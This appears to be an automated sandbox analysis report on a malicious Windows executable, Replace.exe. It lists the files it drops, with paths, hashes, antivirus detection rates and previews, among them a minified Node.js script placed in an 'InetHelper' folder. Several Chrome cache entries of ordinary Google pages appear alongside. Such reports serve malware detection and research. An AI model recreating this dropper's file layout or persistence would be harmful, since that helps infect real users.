Preview:	MZ......................@...................................8...........!..L.!This program cannot be run in DOS mode....$.........$c..J0..J0..J0..I1..J0..O1..J0..N1..J0E~.0..J0..I1..J0..O1Z.J0..N1..J0~.I1..J0..J0..J0~.O1>.J0~.N1..J0..K1..J0..K0..J0~.C1..J0~.J1..J0~..0..J0...0..J0~.H1..J0Rich..J0................PE..L...m.Kb..................f..0....H.0X....H..p....@.......................................@...........................^.....P........p..P+......................,............................d......0d..............................................UPX0......H.............................UPX1......f...H...f.................@....rsrc....0...p...0....f.............@......................................................................................................................................................................................................................................................................................................................3.96.UPX!....

C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\service.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\wnsA071.tmp
File Type:	ASCII text, with very long lines (42843)
Category:	dropped
Size (bytes):	190594
Entropy (8bit):	5.403457343574024
Encrypted:	false
SSDEEP:	3072:fBBZhuuaOKnzpxfuZlrmpSDjmiwo6DQUH0RUISQ2PgdLJ35kCJQuHoz3jn:5BZhuuaBnzpxf5pSDjf6DhHk2PgdN5Lw
MD5:	42FB0FA52C2E0BBBDF379C1ABA97D12E
SHA1:	164C4639D99A7DCFACF29DA930CA4DFEF3621A11
SHA-256:	3DB6FFA48CAE2DBDC68F9BF5EE75BA5B7ABD4F923C5FC6741477916957909071
SHA-512:	B9E96BA85508BB44F49DBF92185157DB149FAB2A6245A2D39CE49DA5AE14617928F44CF8EE2BCB8C9DD4060082CC4B2B84EA6FF7659CE15CAA8D9DA02C46C936
Malicious:	false
Preview:	"use strict";var Vo=require("events"),Xo=require("https"),Ko=require("http"),Yo=require("net"),Jo=require("tls"),Qo=require("crypto"),ii=require("stream"),Zo=require("url"),ea=require("zlib"),ta=require("dgram"),rs=require("os"),bt=require("path"),oi=require("child_process"),ve=require("fs"),ra=require("assert"),sa=require("buffer"),Kt=require("util"),na=require("dns"),ia=require("http2");function te(t){return t&&typeof t=="object"&&"default"in t?t:{default:t}}var xe=te(Vo),ss=te(Xo),yt=te(Ko),wt=te(Yo),ns=te(Jo),rr=te(Qo),le=te(ii),vt=te(Zo),ai=te(ea),oa=te(ta),St=te(rs),xt=te(bt),ci=te(oi),Ze=te(ve),aa=te(ra),li=te(sa),Tt=te(Kt),ca=te(na),is=te(ia),K=typeof globalThis<"u"?globalThis:typeof window<"u"?window:typeof global<"u"?global:typeof self<"u"?self:{};function la(t){return t&&t.__esModule&&Object.prototype.hasOwnProperty.call(t,"default")?t.default:t}function fa(t){throw new Error('Could not dynamically require "'+t+'". Please configure the dynamicRequireTargets or/and ignoreDyna

C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\vp

Download File

Process:	C:\Users\user\AppData\Local\Temp\wnsA071.tmp
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:x:x
MD5:	6920626369B1F05844F5E3D6F93B5F6E
SHA1:	EDFB92A5BE2A31A47D117F6C1530E1CEBE1B4963
SHA-256:	5E73D6D7EDD38DAEAE9F10721987E301E4D4B5421E88EB17063AC5A41B168273
SHA-512:	0B307A2ECA21778E3FCA2D855F0E12FF10726FE276BEDBF70B40E10F21DE839922384D494B67D65A21D4FA15D8642A84B6C39B15AB7E91F3B9555A53ECE4F882
Malicious:	false
Preview:	bt

C:\Users\user\AppData\Local\Temp\7zS49DD90FA\run.exe

Download File

Process:	C:\Users\user\Desktop\Replace.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	36542497
Entropy (8bit):	7.996676840188324
Encrypted:	true
SSDEEP:	786432:PHYEktqugC1limyl/Qb7TMNdi8q8aPn6Ck0IjxGYuIMD9FwLNb1O:PHtud208uyCtIHMDf80
MD5:	D77C3EF3EFA7E38EF91137466EEE801B
SHA1:	0B6CE4B03F43C2A7290F95BFBBE9107298EFEAEF
SHA-256:	91C2295F354B0616AA6481708248F6CE35DBE9292901464FC6BF3A22522CCB2F
SHA-512:	7C0171509814F7E5F24B2A9D53A10AB282586EC56BCDEDC2DEB2BA1AA2B4D9EDADE6D6D753CA80FB65D147597BFD4AC9F30E330E88C695E72C913FF3AB224750
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 9% Antivirus: Virustotal, Detection: 7%, Browse
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......-..Ti`m.i`m.i`m.....a`m......`m.....d`m.....k`m...i.x`m...n.``m...h.F`m.`...``m.`...h`m.`...l`m.i`l.yam...h.X`m...m.h`m.....h`m...o.h`m.Richi`m.................PE..d....U.a.........."......l...........?.........@..........................................`..........................................j..4....k..<....0...o......()......................T...............................8....................\.. ....................text....k.......l.................. ..`.rdata..Z............p..............@..@.data...tU...........l..............@....pdata..().......*..................@..@.didat..(...........................@..._RDATA....... ......................@..@.rsrc....o...0...p..................@..@.reloc............... ..............@..B................................................................................................................................

C:\Users\user\AppData\Local\Temp\nsb75D2.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\wnsF0F3.tmp
File Type:	data
Category:	dropped
Size (bytes):	7289386
Entropy (8bit):	7.96739805150338
Encrypted:	false
SSDEEP:	196608:TRLqzi3tI29TS60FIEPgaJzR1VOoaOVxRt:dLqzi3XT0uEp/ooaWz
MD5:	8D57CCBCBCEF08983E7C76186A225DD4
SHA1:	7319C5569CCB115641146DAA1FD199F007FB0900
SHA-256:	D8AB13351F87952882BCDD22E272DFD7FC12B19D4C9D1238992BDB3E667EF2BD
SHA-512:	8E19B7FB99469C882A7811C2E1268D0B4E65DE5F3744E34A5EBCC7986A5E571ED34CF44281D8E08182598CB7DBF7C1DB23A5FE5FE1C922436DC9475FA2A534F9
Malicious:	false
Preview:	.X......,................A.......O.......X.......X..........................................................................................................................................................................................................................................G...\...............j.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nsq5A5B.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\wnsCCC1.tmp
File Type:	data
Category:	dropped
Size (bytes):	7289386
Entropy (8bit):	7.96739805150338
Encrypted:	false
SSDEEP:	196608:TRLqzi3tI29TS60FIEPgaJzR1VOoaOVxRt:dLqzi3XT0uEp/ooaWz
MD5:	8D57CCBCBCEF08983E7C76186A225DD4
SHA1:	7319C5569CCB115641146DAA1FD199F007FB0900
SHA-256:	D8AB13351F87952882BCDD22E272DFD7FC12B19D4C9D1238992BDB3E667EF2BD
SHA-512:	8E19B7FB99469C882A7811C2E1268D0B4E65DE5F3744E34A5EBCC7986A5E571ED34CF44281D8E08182598CB7DBF7C1DB23A5FE5FE1C922436DC9475FA2A534F9
Malicious:	false
Preview:	.X......,................A.......O.......X.......X..........................................................................................................................................................................................................................................G...\...............j.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nsr383C.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\wnsA071.tmp
File Type:	data
Category:	dropped
Size (bytes):	7289386
Entropy (8bit):	7.96739805150338
Encrypted:	false
SSDEEP:	196608:TRLqzi3tI29TS60FIEPgaJzR1VOoaOVxRt:dLqzi3XT0uEp/ooaWz
MD5:	8D57CCBCBCEF08983E7C76186A225DD4
SHA1:	7319C5569CCB115641146DAA1FD199F007FB0900
SHA-256:	D8AB13351F87952882BCDD22E272DFD7FC12B19D4C9D1238992BDB3E667EF2BD
SHA-512:	8E19B7FB99469C882A7811C2E1268D0B4E65DE5F3744E34A5EBCC7986A5E571ED34CF44281D8E08182598CB7DBF7C1DB23A5FE5FE1C922436DC9475FA2A534F9
Malicious:	false
Preview:	.X......,................A.......O.......X.......X..........................................................................................................................................................................................................................................G...\...............j.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\wnsA071.tmp

Download File

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Category:	dropped
Size (bytes):	7055674
Entropy (8bit):	7.999719681341328
Encrypted:	true
SSDEEP:	98304:W3njVY6OUdcAFccO//cirLLuaj06dT92azIXajHMtHM8gGIOBYADTeLhl6GC1tLt:W3Hvn5irnuaA6GaPj+VgGIOYSTeLXo
MD5:	7A506A2E92BC66A9F64C2333A815E97A
SHA1:	A123F6C070F4258C481CB0B6C2B5D1403463E2FA
SHA-256:	C9DACA7DE1B623867AEE943A1D508573841F2584FFA91AAAF09DE2A883D2733F
SHA-512:	8BDEC3839CA8E0C72DCB76455AD1585264DCEF4150D90E0299B477F99590A1B98AC0BD377985AC2E8E2C15F071588AD821650FC200E0F65EC4583F3F82582E30
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 83% Antivirus: Virustotal, Detection: 77%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...Pf..Pf..Pf._9..Pf..Pg.LPf._;..Pf.sV..Pf..V`..Pf.Rich.Pf.........................PE..L...y..\.................f.......@...4............@.......................... ............@.............................................P............................................................................................................text....d.......f.................. ..`.rdata...............j..............@..@.data...Xc...........~..............@....ndata...................................rsrc...P...........................@..@................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\wnsCCC1.tmp

Download File

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Category:	dropped
Size (bytes):	7055674
Entropy (8bit):	7.999719681341328
Encrypted:	true
SSDEEP:	98304:W3njVY6OUdcAFccO//cirLLuaj06dT92azIXajHMtHM8gGIOBYADTeLhl6GC1tLt:W3Hvn5irnuaA6GaPj+VgGIOYSTeLXo
MD5:	7A506A2E92BC66A9F64C2333A815E97A
SHA1:	A123F6C070F4258C481CB0B6C2B5D1403463E2FA
SHA-256:	C9DACA7DE1B623867AEE943A1D508573841F2584FFA91AAAF09DE2A883D2733F
SHA-512:	8BDEC3839CA8E0C72DCB76455AD1585264DCEF4150D90E0299B477F99590A1B98AC0BD377985AC2E8E2C15F071588AD821650FC200E0F65EC4583F3F82582E30
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 83% Antivirus: Virustotal, Detection: 77%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...Pf..Pf..Pf._9..Pf..Pg.LPf._;..Pf.sV..Pf..V`..Pf.Rich.Pf.........................PE..L...y..\.................f.......@...4............@.......................... ............@.............................................P............................................................................................................text....d.......f.................. ..`.rdata...............j..............@..@.data...Xc...........~..............@....ndata...................................rsrc...P...........................@..@................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\wnsF0F3.tmp

Download File

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Category:	dropped
Size (bytes):	7055674
Entropy (8bit):	7.999719681341328
Encrypted:	true
SSDEEP:	98304:W3njVY6OUdcAFccO//cirLLuaj06dT92azIXajHMtHM8gGIOBYADTeLhl6GC1tLt:W3Hvn5irnuaA6GaPj+VgGIOYSTeLXo
MD5:	7A506A2E92BC66A9F64C2333A815E97A
SHA1:	A123F6C070F4258C481CB0B6C2B5D1403463E2FA
SHA-256:	C9DACA7DE1B623867AEE943A1D508573841F2584FFA91AAAF09DE2A883D2733F
SHA-512:	8BDEC3839CA8E0C72DCB76455AD1585264DCEF4150D90E0299B477F99590A1B98AC0BD377985AC2E8E2C15F071588AD821650FC200E0F65EC4583F3F82582E30
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 83% Antivirus: Virustotal, Detection: 77%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...Pf..Pf..Pf._9..Pf..Pg.LPf._;..Pf.sV..Pf..V`..Pf.Rich.Pf.........................PE..L...y..\.................f.......@...4............@.......................... ............@.............................................P............................................................................................................text....d.......f.................. ..`.rdata...............j..............@..@.data...Xc...........~..............@....ndata...................................rsrc...P...........................@..@................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\wsc86FC.tmp

Download File

Process:	C:\Users\user\Desktop\Replace.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	6656
Entropy (8bit):	4.828894210941588
Encrypted:	false
SSDEEP:	96:DWYJfktl9o3fraRGA27A0xsuFj9+eKmuJGZY6Gn17/xr:6Efkt7o3fraR5Wvsu7+1JGZ/Gnt
MD5:	41E689A7859429D628C34A82BCBB1187
SHA1:	F435C4225FC00B3CE4543B812731A65D3722BDC3
SHA-256:	252DD587C652E9939432BD8B5574590C4A8DB64660BC753F5490A472703F5C3A
SHA-512:	6A8F76F4D2EEB78DF1C48F43C8D31F4510F2BA8DA71FBB93D88627EBA5F4CC74EB9AA12B7688D7FB62ED938FE2AC15BD2C060D6AD90E5B2C61114F74FCECEC85
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 75% Antivirus: Virustotal, Detection: 67%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....}c...........!......................... ...............................P............@.........................@$..L....$...............................@....................................................... ...............................text...;........................... ..`.rdata....... ......................@..@.data........0......................@....reloc.......@......................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 62

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1746)
Category:	downloaded
Size (bytes):	163891
Entropy (8bit):	5.55061820245277
Encrypted:	false
SSDEEP:	3072:S0eiNiuzs8v4HHKWY8s1BgP4IDQ9GURWu8zylA/u8PemUPhDlaY/ADiZ65LpK629:S0eMhzvwHHKWY8s1BgP4IDQ9GURWu8UD
MD5:	0282D5C4C6038FCEB2FF8607EDAC81A4
SHA1:	62EBF05C33F8A3115C208BB4D5CE9B38F6D06447
SHA-256:	AAAF17E8ED9C8DD5D1B69C8BBB617600A768256654C076F760E09C6047973371
SHA-512:	E21D25042E41527B62E80F9D9B82B85B915BA6D0698B2FFA5D8D59115F764770D1DE2108B72D82D57BFB7A8D4406FB53D091C1DC6D8BD03BED3BCA29CEFD0EAD
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US.oT1FwJRCVC4.2019.O/rt=j/m=q_dnp,qmd,qcwid,qapid,qald,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTvBynad-nWEy1xIb9j1w6LpLOF6IQ"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.nj=function(a,b,c){return c?a\|b:a&~b};_.oj=function(a,b,c,d){a=_.hb(a,b,c,d);return Array.isArray(a)?a:_.lc};_.pj=function(a,b){a=_.nj(a,2,!!(2&b));a=_.nj(a,32,!0);return a=_.nj(a,2048,!1)};_.qj=function(a,b){0===a&&(a=_.pj(a,b));return a=_.nj(a,1,!0)};_.rj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.sj=function(a,b,c){32&b&&c\|\|(a=_.nj(a,32,!1));return a};._.tj=function(a,b,c,d,e,f){var g=!!(2&b),h=g?1:2;const k=1===h;h=2===h;e=!!e;f&&(f=!g);g=_.oj(a,b,d);var l=g[_.v]\|0;const n=!!(4&l);if(!n){l=_.qj(l,b);var p=g,r=b,t;(t=!!(2&l))&&(r=_.nj(r,2,!0));let C=!t,X=!0,P=0,H=0;for(;P<p.length;P++){const O=_.Sa(p[P],c,r);if(O instanceof c){if(!t){const Fa=!!((O.ma[_.v]\|0)&2);C&&(C=!Fa);X&&(X=Fa)}p[H++]=O}}H<P&&(p.length=H);l=_.nj(l,4,!0);l=_.nj(l,16,X);l=_.nj(l,8,C);_.wa(p,l);t&&Object.freeze(p)}c=!!(8&l)\|\|k&&!g.length;if(f&&!c){_.rj(l)&&(g=_.va(g),l=_.pj(l,.b),b=_.gb(a,b,d,g));f=g;c=l;for(p=0;p<f.length;p++)l=f[p],r=_.eb(l),l

Chrome Cache Entry: 63

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2937)
Category:	downloaded
Size (bytes):	2942
Entropy (8bit):	5.842780062817867
Encrypted:	false
SSDEEP:	48:RuHwFGWQGKlgZ01IFb8jsgIbx6666PuimRDJaYdFUawY7lXcQjlwV+ib37aOcQgJ:RfkD9liywgIN6666PEWYLUkXculwdraj
MD5:	BC5E2F0579E5FA470364680F05389C67
SHA1:	808A9CF1332725F0F0765CDA9A7A3B2E5AD16D3D
SHA-256:	2FBFA151A394F6A4B24169A7DB61B4CF700C4FC72FEF61BF58903D28A7251420
SHA-512:	60BC3D32E8676B4D0DC4897FCF48430725BB29FEA94BD6C980F781FDE9FE8FB9BAD6643C4201FCDAF92259B1DBD21C9D15D4F53520F315FBEABBAE91396AD463
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["student loans","fallout next gen update","southwest airlines flights","jose abreu houston astros","wwe nxt spring breakin","emotional support alligator wally","nyt crossword clues","dj moore on caleb williams"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"google:entityinfo":"CgovbS8wcmZoN21tEixKb3PDqSBBYnJldSDigJQgQ3ViYW4gYmFzZWJhbGwgZmlyc3QgYmFzZW1hbjKbC2RhdGE6aW1hZ2UvanBlZztiYXNlNjQsLzlqLzRBQVFTa1pKUmdBQkFRQUFBUUFCQUFELzJ3Q0VBQWtHQndnSEJna0lCd2dLQ2drTERSWVBEUXdNRFJzVUZSQVdJQjBpSWlBZEh4OGtLRFFzSkNZeEp4OGZMVDB0TVRVM09qbzZJeXMvUkQ4NFF6UTVPamNCQ2dvS0RRd05HZzhQR2pjbEh5VTNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTi8vQUFCRUlBRUFBTlFNQklnQUNFUUVERVFIL3hBQWJBQUFDQWdNQkFBQUFBQUFBQUFBQUFBQUFCd1FGQXdZSUFmL0VBREFRQUFJQkF3SURCd01EQlFBQUFBQUFBQUVDQXdBRUVRVWhCaEl4QnhOQlVYR0JrU0l5WVVKU29TT

Chrome Cache Entry: 64

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 65

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	139819
Entropy (8bit):	5.440766391654872
Encrypted:	false
SSDEEP:	1536:yMRA4aoKJXjPInWWt/usD98kiHLnRA0zqevcZgDhaV+trbbbhYxvdU:eCKJou8TMyel0shCO
MD5:	E92447BF94FA592067E133CF3E581D3D
SHA1:	E0CDECE2EE36171EC9008DC3D676E9EC7E273F89
SHA-256:	C8B666DC1E76BF51ED250F8DB10DAAC14E13EBA6D52E41EA9D12FEFB3EDF5701
SHA-512:	A6D6B74FFD9DC5BC4C37ABD5CF4992D56C72933D872D70AADAB6FF83C66E6F013E779EA1A5126E7E69D9A4F9B1F65B4EAF5CCB516B1F83037913C64D88913B8B
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ra gb_ib gb_Ud gb_od\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Id\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_sd gb_ld gb_yd gb_xd\"\u003e\u003cdiv class\u003d\"gb_rd gb_hd\"\u003e\u003cdiv class\u003d\"gb_Pc gb_r\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Pc gb_Sc gb_r\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 66

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3572), with no line terminators
Category:	downloaded
Size (bytes):	3572
Entropy (8bit):	5.150542995862274
Encrypted:	false
SSDEEP:	96:RJYrcoiktfqqMghOKTEzNx8BSIMw591g8IOl8u8i8DF+Ks:wkktfqqMghxlg8Ig8u78D2
MD5:	88BC8C86A83B9BD8EDA6FDF225CDC8DD
SHA1:	473D84930F027A365278C15282725A69721F4B18
SHA-256:	47D960E93D9E7AB4C760A09DA0AA5E6549A8355AD5C0BA8476D4269F4FBDB354
SHA-512:	3BC486D908160D297AD3028C27177A9C41A1D87EF29A456058265FAF74A1DA069D3B0578F05A79F866C2DB752D5E0E42D179158BD62251D4FDA601A7CBA7CC4D
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.T5bVtXo12IQ.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTssrVR1lBtzoy_MObv1DSp-vWG36A"
Preview:	.gb_3e{background:rgba(60,64,67,.9);-webkit-border-radius:4px;border-radius:4px;color:#fff;font:500 12px "Roboto",arial,sans-serif;letter-spacing:.8px;line-height:16px;margin-top:4px;min-height:14px;padding:4px 8px;position:absolute;z-index:1000;-webkit-font-smoothing:antialiased}.gb_Hc{text-align:left}.gb_Hc>*{color:#bdc1c6;line-height:16px}.gb_Hc div:first-child{color:white}.gb_qa{background:none;border:1px solid transparent;-webkit-border-radius:50%;border-radius:50%;-webkit-box-sizing:border-box;box-sizing:border-box;cursor:pointer;height:40px;margin:8px;outline:none;padding:1px;position:absolute;right:0;top:0;width:40px}.gb_qa:hover{background-color:rgba(68,71,70,.08)}.gb_qa:focus,.gb_qa:active{background-color:rgba(68,71,70,.12)}.gb_qa:focus-visible{border-color:#0b57d0;outline:1px solid transparent;outline-offset:-1px}.gb_i .gb_qa:hover,.gb_i .gb_qa:focus,.gb_i .gb_qa:active{background-color:rgba(227,227,227,.08)}.gb_i .gb_qa:focus-visible{border-color:#a8c7fa}.gb_ra{-webkit-box

Chrome Cache Entry: 67

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Chrome Cache Entry: 68

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2124)
Category:	downloaded
Size (bytes):	121628
Entropy (8bit):	5.506662476672723
Encrypted:	false
SSDEEP:	3072:QI9yvwslCsrCF9f/U2Dj3Fkk7rEehA5L1kx:l9ygsrieDkVaL1kx
MD5:	F46ACD807A10216E6EEE8EA51E0F14D6
SHA1:	4702F47070F7046689432DCF605F11364BC0FBED
SHA-256:	D6B84873D27E7E83CF5184AAEF778F1CCB896467576CD8AF2CAD09B31B3C6086
SHA-512:	811263DC85C8DAA3A6E5D8A002CCCB953CD01E6A77797109835FE8B07CABE0DEE7EB126274E84266229880A90782B3B016BA034E31F0E3B259BF9E66CA797028
Malicious:	false
URL:	"https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SCWmpDDGjPk.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AAAC/rs=AHpOoo_Pl64J0IIHlj2zBtEJ3ZwdaJC3HA/cb=gapi.loaded_0"
Preview:	gapi.loaded_0(function(_){var window=this;._._F_toggles_initialize=function(a){("undefined"!==typeof globalThis?globalThis:"undefined"!==typeof self?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x20000, ]);.var ba,ca,da,na,pa,va,wa,za;ba=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}};ca="function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.da=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");};_.ma=da(this);na=function(a,b){if(b)a:{var c=_.ma;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&null!=b&&ca(c,a,{configurable:!0,writable:!0,value:b})}};.na("Symbol",function(a){if(a)re

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.998466347215378
TrID:	Win32 Executable (generic) a (10002005/4) 99.94% Win16/32 Executable Delphi generic (2074/23) 0.02% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Replace.exe
File size:	36'540'866 bytes
MD5:	fd5cd14325c51ecab6a57d1d665f8852
SHA1:	ea16aa0f197210437733c63a42a8f1dd6442d753
